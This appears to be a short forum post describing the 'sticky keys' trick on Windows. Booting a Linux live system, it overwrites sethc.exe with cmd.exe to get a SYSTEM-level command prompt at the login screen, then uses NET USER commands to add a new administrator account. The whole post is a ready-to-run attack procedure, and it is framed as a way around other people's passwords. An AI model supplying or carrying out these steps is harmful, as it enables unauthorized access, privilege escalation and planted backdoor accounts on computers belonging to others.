This is a very easy crack, allowing you to open a windows command prompt with system privileges at log-in. shouldn't take more than 3 minutes. It replaces sethc.exe which can be invoked at start-up by pressing shift five times (something to do with contrast) with cmd.exe: Since you haven't logged in yet it opens a command prompt with system privileges (runs in backtrack).
Code:
mkdir /mnt/ntfs
mount -t captive-ntfs /dev/hda1 /mnt/ntfs
cd /mnt/ntfs/windows/system32
mv sethc.exe sethc.old; cp cmd.exe sethc.exe
sync
cd ~
umount /mnt/ntfs
shutdown –r now
To make a new admin that you can login to (apart from EVERYTHING else that you can do) use the following commands (replace admin with the username and pass with your password)
Code:
NET USER admin pass /add
NET LOCALGROUP administrators admin /add
reboot and you're done.
No need to bother with cracking people's passwords (god forbid, this may take years, as with mine).
